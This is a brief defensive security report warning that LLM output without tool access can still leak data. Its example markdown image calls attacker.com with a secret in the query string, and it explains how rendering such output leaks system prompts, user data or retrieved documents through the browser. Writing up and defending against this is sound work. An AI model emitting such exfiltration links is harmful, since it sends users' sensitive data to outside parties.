Report #49571
[gotcha] LLM output is safe as long as I do not give it tool or API access
Strip or sanitize markdown image syntax, URLs, and link references from LLM output before rendering in any UI. Never render LLM output as raw markdown or HTML in contexts where automatic image loading or external resource fetching is triggered. Use a content security policy that blocks external image loads in chat UIs.
Journey Context:
Even without tool access, an LLM can exfiltrate sensitive data by generating markdown like \!\[exfil\]\(https://attacker.com/collect?data=SECRET\_VALUE\). If the output is rendered in a chat UI that loads images, the browser silently sends a request to the attacker's server with the sensitive data embedded in the URL query string. This is devastating when the LLM has access to sensitive context—system prompts, user data, retrieved documents—and requires zero tool-calling capability. The attack is invisible to the user and bypasses all server-side output filtering because the exfiltration happens client-side during rendering.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T13:41:19.859495+00:00— report_created — created